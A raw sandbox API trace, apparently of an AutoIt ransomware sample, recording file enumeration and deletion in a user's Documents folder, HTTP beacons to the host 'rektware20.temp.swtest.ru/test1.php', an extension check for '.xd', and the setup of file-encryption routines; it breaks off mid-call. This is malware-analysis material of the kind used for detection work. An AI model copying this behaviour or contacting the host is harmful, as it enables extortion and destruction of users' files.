[0073.864] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0073.864] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\R22w5q7Z4qu.ots", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\R22w5q7Z4qu.ots", lpFilePart=0x0) returned 0x42 [0073.864] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\R22w5q7Z4qu.ots" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp\\leytaif\\r22w5q7z4qu.ots")) returned 0x20 [0073.864] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\R22w5q7Z4qu.ots", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c370 [0073.864] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\R22w5q7Z4qu.ots" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp\\leytaif\\r22w5q7z4qu.ots")) returned 1 [0073.871] FindNextFileW (in: hFindFile=0x164c370, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0073.871] FindClose (in: hFindFile=0x164c370 | out: hFindFile=0x164c370) returned 1 [0073.872] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0073.872] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0073.872] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0073.872] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0073.872] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\SKypj SgetvuQXksnqco.pdf", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d070 [0073.872] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0073.872] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0073.873] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0073.873] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0073.873] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0073.873] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0073.873] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1621000, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1621000, lpdwBufferLength=0x130ef8c) returned 1 [0073.873] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0073.873] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0073.873] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0073.874] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0073.874] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0073.874] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0073.874] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292d0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292d0*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0073.874] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292f0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292f0*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0073.874] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0073.875] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0073.875] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0073.875] CloseHandle (hObject=0x0) returned 0 [0073.875] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\SKypj SgetvuQXksnqco.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.875] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\SKypj SgetvuQXksnqco.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.875] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\SKypj SgetvuQXksnqco.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.875] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\SKypj SgetvuQXksnqco.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.875] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\SKypj SgetvuQXksnqco.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.875] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\SKypj SgetvuQXksnqco.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.875] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\SKypj SgetvuQXksnqco.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.875] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\SKypj SgetvuQXksnqco.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.875] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\SKypj SgetvuQXksnqco.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.875] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\SKypj SgetvuQXksnqco.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.875] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\SKypj SgetvuQXksnqco.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.875] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\SKypj SgetvuQXksnqco.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.875] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\SKypj SgetvuQXksnqco.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.875] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\SKypj SgetvuQXksnqco.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.875] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\SKypj SgetvuQXksnqco.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.875] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\SKypj SgetvuQXksnqco.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.875] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\SKypj SgetvuQXksnqco.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.875] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\SKypj SgetvuQXksnqco.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.875] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\SKypj SgetvuQXksnqco.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.875] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\SKypj SgetvuQXksnqco.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.875] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\SKypj SgetvuQXksnqco.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.875] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\SKypj SgetvuQXksnqco.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.875] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Documents\\1Y_L8Q1mlP\\LEyTaIf\\SKypj SgetvuQXksnqco.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.875] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ocuments\\1Y_L8Q1mlP\\LEyTaIf\\SKypj SgetvuQXksnqco.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.876] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cuments\\1Y_L8Q1mlP\\LEyTaIf\\SKypj SgetvuQXksnqco.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.876] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="uments\\1Y_L8Q1mlP\\LEyTaIf\\SKypj SgetvuQXksnqco.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.876] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ments\\1Y_L8Q1mlP\\LEyTaIf\\SKypj SgetvuQXksnqco.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.876] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ents\\1Y_L8Q1mlP\\LEyTaIf\\SKypj SgetvuQXksnqco.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.876] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nts\\1Y_L8Q1mlP\\LEyTaIf\\SKypj SgetvuQXksnqco.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.876] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ts\\1Y_L8Q1mlP\\LEyTaIf\\SKypj SgetvuQXksnqco.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.876] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\1Y_L8Q1mlP\\LEyTaIf\\SKypj SgetvuQXksnqco.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.876] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\1Y_L8Q1mlP\\LEyTaIf\\SKypj SgetvuQXksnqco.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.876] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1Y_L8Q1mlP\\LEyTaIf\\SKypj SgetvuQXksnqco.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.876] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Y_L8Q1mlP\\LEyTaIf\\SKypj SgetvuQXksnqco.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.876] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="_L8Q1mlP\\LEyTaIf\\SKypj SgetvuQXksnqco.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.876] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="L8Q1mlP\\LEyTaIf\\SKypj SgetvuQXksnqco.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.876] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="8Q1mlP\\LEyTaIf\\SKypj SgetvuQXksnqco.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.876] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Q1mlP\\LEyTaIf\\SKypj SgetvuQXksnqco.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.876] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1mlP\\LEyTaIf\\SKypj SgetvuQXksnqco.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.876] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mlP\\LEyTaIf\\SKypj SgetvuQXksnqco.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.876] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="lP\\LEyTaIf\\SKypj SgetvuQXksnqco.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.876] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="P\\LEyTaIf\\SKypj SgetvuQXksnqco.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.876] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\LEyTaIf\\SKypj SgetvuQXksnqco.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.876] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LEyTaIf\\SKypj SgetvuQXksnqco.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.876] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="EyTaIf\\SKypj SgetvuQXksnqco.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.876] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="yTaIf\\SKypj SgetvuQXksnqco.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.876] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="TaIf\\SKypj SgetvuQXksnqco.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.876] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="aIf\\SKypj SgetvuQXksnqco.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.876] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="If\\SKypj SgetvuQXksnqco.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.876] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="f\\SKypj SgetvuQXksnqco.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.876] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\SKypj SgetvuQXksnqco.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.876] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SKypj SgetvuQXksnqco.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.876] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Kypj SgetvuQXksnqco.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.876] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ypj SgetvuQXksnqco.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.876] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="pj SgetvuQXksnqco.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.877] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="j SgetvuQXksnqco.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.877] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=" SgetvuQXksnqco.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0073.877] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SgetvuQXksnqco.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.877] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="getvuQXksnqco.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.877] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="etvuQXksnqco.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.877] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tvuQXksnqco.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.877] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="vuQXksnqco.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.877] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="uQXksnqco.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.877] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="QXksnqco.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.877] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Xksnqco.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.877] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ksnqco.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.877] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="snqco.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.877] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nqco.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.877] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="qco.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.877] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="co.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.877] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="o.pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.877] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0073.877] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="pdf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.877] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0073.877] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0073.877] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0073.877] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0073.877] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0073.877] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0073.878] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0073.878] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0073.878] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620f58, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620f58, lpdwBufferLength=0x130ee1c) returned 1 [0073.878] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0073.878] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0073.878] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0073.879] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0073.879] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0073.879] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0073.879] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629200, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629200*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0073.879] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629320, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629320*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0073.879] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0073.879] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0073.879] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0073.879] CloseHandle (hObject=0x0) returned 0 [0073.879] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.880] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\SKypj SgetvuQXksnqco.pdf", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164d130 [0073.880] FindClose (in: hFindFile=0x164d130 | out: hFindFile=0x164d130) returned 1 [0073.880] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.880] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0073.880] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.880] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0073.880] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0073.880] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.880] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0073.880] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.881] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.881] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0073.881] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.881] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.881] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.881] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.881] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.881] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0073.881] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.881] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0073.881] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0073.881] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0073.881] WideCharToMultiByte (in: CodePage=0x0, 